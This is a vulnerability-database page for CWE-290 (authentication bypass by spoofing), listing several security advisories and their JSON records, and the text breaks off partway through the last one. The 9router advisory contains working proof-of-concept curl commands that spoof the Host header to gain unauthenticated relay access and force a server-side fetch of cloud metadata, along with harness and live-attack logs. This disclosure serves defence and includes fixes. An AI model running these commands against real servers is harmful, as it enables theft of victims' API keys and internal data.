Common Weakness Enumeration

CWE-290

Allowed

Authentication Bypass by Spoofing

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

1030 vulnerabilities reference this CWE, most recent first.

GHSA-86M2-FCXQ-5Q7C

Vulnerability from github – Published: 2026-08-28 18:33 – Updated: 2026-08-28 18:33
VLAI
Summary
9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF
Details

Summary

9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:

  • Open AI relay — the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts).

  • Unauthenticated SSRF — /v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.

  • Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.

  • Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).

Details

The bypass (src/dashboardGuard.js)

function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
  return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
  if (!isLoopbackHostname(request.headers.get("host"))) return false;   // <-- client-controlled Host
  const origin = request.headers.get("origin");
  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
  return true;
}
async function canAccessPublicLlmApi(request){
  if (isLocalRequest(request)) return true;     // <-- "local" => no key required
  if (await hasValidCliToken(request)) return true;
  return await hasValidApiKey(request);
}

isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.

Default exposure

  • cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.
  • cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only.
  • src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.

Relay chain (verbatim trace, 0.4.71)

middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*→/api/v1/:path* → src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKey → getProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.

SSRF chain

search.js (only gate falsy requireApiKey) → searxng noAuth:true ⇒ handleSearchCore({credentials:null}) → coreBody.provider_options = body.provider_options → callers.js:

export function resolveBaseUrl(config, params){
  const override = getProviderSetting(params, "baseUrl");   // reads params.providerOptions.baseUrl FIRST
  return (override || config.baseUrl).replace(/\/+$/, "");
}

→ buildSearxngRequest appends /search?q=...&format=json&categories=general → fetch(url) (server-side) → JSON reflected to caller.

PoC

Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the real handleSearchCore + AI_PROVIDERS.searxng).

Guard bypass (hostspoof.mjs, exit 2):

attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
   denied       honest remote (real Host)
*** ALLOWED ***  SPOOF Host: localhost (no Origin)
*** ALLOWED ***  SPOOF Host: 127.0.0.1
*** ALLOWED ***  SPOOF Host: localhost:20128
   denied       SPOOF Host + Origin evil (blocked)
RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.

SSRF (ssrf_search.mjs, real imported code):

[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Built & ran 9router@0.4.71 (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:

(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.

(B') relay path POST /v1/messages, same Host-spoof:
       honest Host => 401 ;  Host: localhost => 404 {"error":"No active credentials for provider: openai"}
    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).

Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.

Reproduce (against a network-reachable 9router; VICTIM_IP = the box):

# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'

# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'

Impact

Any 9router reachable on a network (default 0.0.0.0 bind, plus Docker -p, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (169.254.169.254) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).

Recommended fix

  1. Determine "local" from the socket peer IP, never the Host header — treat as local only if the TCP peer is 127.0.0.0/8 / ::1.
  2. Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0; fix the CLI to not print "localhost" when bound to all interfaces.
  3. For any non-loopback peer, require a valid API key regardless of requireApiKey; add requireApiKey: true to DEFAULT_SETTINGS (fail-closed).
  4. Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl.
  5. Remove Access-Control-Allow-Origin: * from /v1 GET metadata routes.
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-290",
      "CWE-348",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:33:20Z",
    "nvd_published_at": "2026-07-10T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router\u0027s request guard decides a request is \"local\" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints \"localhost\"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** \u2014 the proxy forwards the attacker\u0027s requests to AI providers using the **victim\u0027s stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim\u0027s accounts).\n- **Unauthenticated SSRF** \u2014 `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router \u003c= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `\u003c0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // \u003c-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // \u003c-- \"local\" =\u003e no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** \u2014 only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`.\n\n### Default exposure\n- `cli/cli.js:63` `const DEFAULT_HOST = \"0.0.0.0\";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` \u2192 reachable from the network by default.\n- `cli/cli.js:500,541` display `\"localhost\"` even when bound to `0.0.0.0` \u2014 operators believe it\u0027s local-only.\n- `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** \u2192 the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default.\n\n### Relay chain (verbatim trace, 0.4.71)\nmiddleware (`src/proxy.js`, matcher covers all paths) \u2192 `canAccessPublicLlmApi` true via spoofed Host \u2192 `next.config.mjs` rewrites `/v1/:path*`\u2192`/api/v1/:path*` \u2192 `src/app/api/v1/messages/route.js` POST \u2192 `handleChat` (no independent auth) \u2192 only gate falsy `requireApiKey` \u2192 `getProviderCredentials()` loads the victim\u0027s stored credentials \u2192 `handleChatCore` outbound fetch \u2192 response returned. **No downstream key gate.**\n\n### SSRF chain\n`search.js` (only gate falsy `requireApiKey`) \u2192 `searxng` `noAuth:true` \u21d2 `handleSearchCore({credentials:null})` \u2192 `coreBody.provider_options = body.provider_options` \u2192 `callers.js`:\n```js\nexport function resolveBaseUrl(config, params){\n  const override = getProviderSetting(params, \"baseUrl\");   // reads params.providerOptions.baseUrl FIRST\n  return (override || config.baseUrl).replace(/\\/+$/, \"\");\n}\n```\n\u2192 `buildSearxngRequest` appends `/search?q=...\u0026format=json\u0026categories=general` \u2192 `fetch(url)` (server-side) \u2192 JSON reflected to caller.\n\n## PoC\n\nGround-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`).\n\n**Guard bypass (`hostspoof.mjs`, exit 2):**\n```\nattacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS\n   denied       honest remote (real Host)\n*** ALLOWED ***  SPOOF Host: localhost (no Origin)\n*** ALLOWED ***  SPOOF Host: 127.0.0.1\n*** ALLOWED ***  SPOOF Host: localhost:20128\n   denied       SPOOF Host + Origin evil (blocked)\nRESULT: BYPASS \u2014 remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.\n```\n\n**SSRF (`ssrf_search.mjs`, real imported code):**\n```\n[*] searxng configured baseUrl: http://localhost:8888/search\n[*] attacker provider_options.baseUrl: http://127.0.0.1:\u003cport\u003e\n[*] credentials passed to core: null (noAuth =\u003e key-less attacker)\ninternal service reached by 9router process: true\npath hit: /search?q=x\u0026format=json\u0026categories=general\ndata returned to attacker: [{\"title\":\"INTERNAL-DATA\",...,\"content\":\"leaked\"...}]\nSSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.\n```\n\n### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)\n\nBuilt \u0026 ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box\u0027s **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack:\n\n```\n(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128\n    =\u003e HTTP 401 {\"error\":\"API key required for remote API access\"}      [guard blocks remote]\n\n(B) spoofed Host: localhost:  POST /v1/search  Host: localhost\n       body: {\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://127.0.0.1:19099\"}}\n    =\u003e HTTP 200, and the attacker\u0027s listener logged:\n       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x\u0026format=json\u0026categories=general | from 127.0.0.1\n    =\u003e the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.\n\n(B\u0027) relay path POST /v1/messages, same Host-spoof:\n       honest Host =\u003e 401 ;  Host: localhost =\u003e 404 {\"error\":\"No active credentials for provider: openai\"}\n    =\u003e bypass reached handleChat\u0027s provider selection (would forward on the VICTIM\u0027S key if one were configured).\n```\nChanging **only** the `Host` header (401 \u2192 reaches the handler), from the same remote peer, is the entire bypass \u2014 confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF \u2014 the server-side request to the attacker URL is the proven primitive. The relay needs \u22651 configured provider \u2014 the normal state \u2014 to actually spend the victim\u0027s key.) See `repro/LIVE-EVIDENCE.txt`.\n\n**Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box):\n```bash\n# Open AI relay \u2014 no Authorization/x-api-key/cookie; victim\u0027s key pays:\ncurl -sS http://VICTIM_IP:20128/v1/messages -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"claude-3-5-sonnet-20241022\",\"max_tokens\":64,\"messages\":[{\"role\":\"user\",\"content\":\"relay test\"}]}\u0027\n\n# SSRF \u2014 attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:\ncurl -sS http://VICTIM_IP:20128/v1/search -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://169.254.169.254/latest/meta-data\"}}\u0027\n```\n\n## Impact\n\nAny 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale \u2014 all first-class features) can be:\n- used as a free AI relay billed to the victim\u0027s provider accounts, exhausting quota and exfiltrating data through their keys; and\n- used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker.\nUnauthenticated, no user interaction, default configuration. The only precondition is the normal one (\u22651 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header \u2014 treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.",
  "id": "GHSA-86m2-fcxq-5q7c",
  "modified": "2026-08-28T18:33:20Z",
  "published": "2026-08-28T18:33:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
}

GHSA-86WC-GR98-6P59

Vulnerability from github – Published: 2024-09-17 21:30 – Updated: 2024-09-23 18:30
VLAI
Details

Inappropriate implementation in Autofill in Google Chrome prior to 129.0.6668.58 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-8908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-17T21:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Autofill in Google Chrome prior to 129.0.6668.58 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-86wc-gr98-6p59",
  "modified": "2024-09-23T18:30:33Z",
  "published": "2024-09-17T21:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8908"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2024/09/stable-channel-update-for-desktop_17.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/337222641"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-87WP-C9X7-PPQ5

Vulnerability from github – Published: 2022-09-17 00:00 – Updated: 2022-09-25 00:00
VLAI
Details

Tesla Model 3 V11.0(2022.4.5.1 6b701552d7a6) Tesla mobile app v4.23 is vulnerable to Authentication Bypass by spoofing. Tesla Model 3's Phone Key authentication is vulnerable to Man-in-the-middle attacks in the BLE channel. It allows attackers to open a door and drive the car away by leveraging access to a legitimate Phone Key.

Severity
5.3 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-37709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-16T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Tesla Model 3 V11.0(2022.4.5.1 6b701552d7a6) Tesla mobile app v4.23 is vulnerable to Authentication Bypass by spoofing. Tesla Model 3\u0027s Phone Key authentication is vulnerable to Man-in-the-middle attacks in the BLE channel. It allows attackers to open a door and drive the car away by leveraging access to a legitimate Phone Key.",
  "id": "GHSA-87wp-c9x7-ppq5",
  "modified": "2022-09-25T00:00:27Z",
  "published": "2022-09-17T00:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37709"
    },
    {
      "type": "WEB",
      "url": "https://fmsh-seclab.github.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fmsh-seclab/TesMla"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/cPhYW5FzA9A"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89MG-WJHC-7PJP

Vulnerability from github – Published: 2024-04-02 09:30 – Updated: 2024-04-02 09:30
VLAI
Details

in OpenHarmony v3.2.4 and prior versions allow a remote attacker bypass permission verification to install apps, although these require user action.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-22092"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-02T07:15:41Z",
    "severity": "HIGH"
  },
  "details": "in OpenHarmony v3.2.4 and prior versions allow a remote attacker bypass permission verification to install apps, although these require user action.",
  "id": "GHSA-89mg-wjhc-7pjp",
  "modified": "2024-04-02T09:30:40Z",
  "published": "2024-04-02T09:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22092"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/openharmony/security/blob/master/zh/security-disclosure/2024/2024-04.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89PX-WW3J-G2MM

Vulnerability from github – Published: 2019-11-29 17:05 – Updated: 2024-11-19 15:48
VLAI
Summary
2FA bypass in Wagtail through new device path
Details

2FA bypass through new device path

Impact

If someone gains access to someone's Wagtail login credentials, they can log into the CMS and bypass the 2FA check by changing the URL. They can then add a new device and gain full access to the CMS.

Patches

This problem has been patched in version 1.3.0.

Workarounds

There is no workaround at the moment.

For more information

If you have any questions or comments about this advisory: * Open an issue in github.com/labd/wagtail-2fa * Email us at security@labdigital.nl

Severity
8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wagtail-2fa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-304"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:25:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## 2FA bypass through new device path\n\n### Impact\nIf someone gains access to someone\u0027s Wagtail login credentials, they can log into the CMS and bypass the 2FA check by changing the URL. They can then add a new device and gain full access to the CMS.\n\n### Patches\nThis problem has been patched in version 1.3.0.\n\n### Workarounds\nThere is no workaround at the moment.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/labd/wagtail-2fa](https://github.com/labd/wagtail-2fa)\n* Email us at [security@labdigital.nl](mailto:security@labdigital.nl)",
  "id": "GHSA-89px-ww3j-g2mm",
  "modified": "2024-11-19T15:48:33Z",
  "published": "2019-11-29T17:05:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/labd/wagtail-2fa/security/advisories/GHSA-89px-ww3j-g2mm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16766"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labd/wagtail-2fa/commit/13b12995d35b566df08a17257a23863ab6efb0ca"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labd/wagtail-2fa/commit/a6711b29711729005770ff481b22675b35ff5c81"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/labd/wagtail-2fa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/wagtail-2fa/PYSEC-2019-135.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "2FA bypass in Wagtail through new device path"
}

GHSA-8C59-HR4W-QG69

Vulnerability from github – Published: 2026-06-18 20:17 – Updated: 2026-06-18 20:17
VLAI
Summary
OpenClaw: Zalo allowFrom could bind to mutable display names
Details

Summary

Zalo allowFrom could bind to mutable display names. In affected versions, a Zalo friend or contact with mutable display metadata could match a policy entry through mutable display metadata.

This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.

Impact

When the affected feature is enabled and reachable, this could receive agent responses intended for another Zalo identity. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.

Patched Versions

The first stable patched version is 2026.5.3.

Mitigations

use stable Zalo identifiers where available and keep friend access restricted until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.5.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T20:17:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nZalo allowFrom could bind to mutable display names. In affected versions, a Zalo friend or contact with mutable display metadata could match a policy entry through mutable display metadata.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could receive agent responses intended for another Zalo identity. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.3`.\n\n### Mitigations\n\nuse stable Zalo identifiers where available and keep friend access restricted until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
  "id": "GHSA-8c59-hr4w-qg69",
  "modified": "2026-06-18T20:17:50Z",
  "published": "2026-06-18T20:17:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8c59-hr4w-qg69"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53857"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-mutable-display-name-binding-in-zalo-allowfrom-policy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Zalo allowFrom could bind to mutable display names"
}

GHSA-8FGW-HCMW-FVQP

Vulnerability from github – Published: 2022-05-24 17:01 – Updated: 2022-10-14 19:00
VLAI
Details

Insufficient policy enforcement in downloads in Google Chrome prior to 78.0.3904.70 allowed a remote attacker to bypass download restrictions via a crafted HTML page.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-13709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
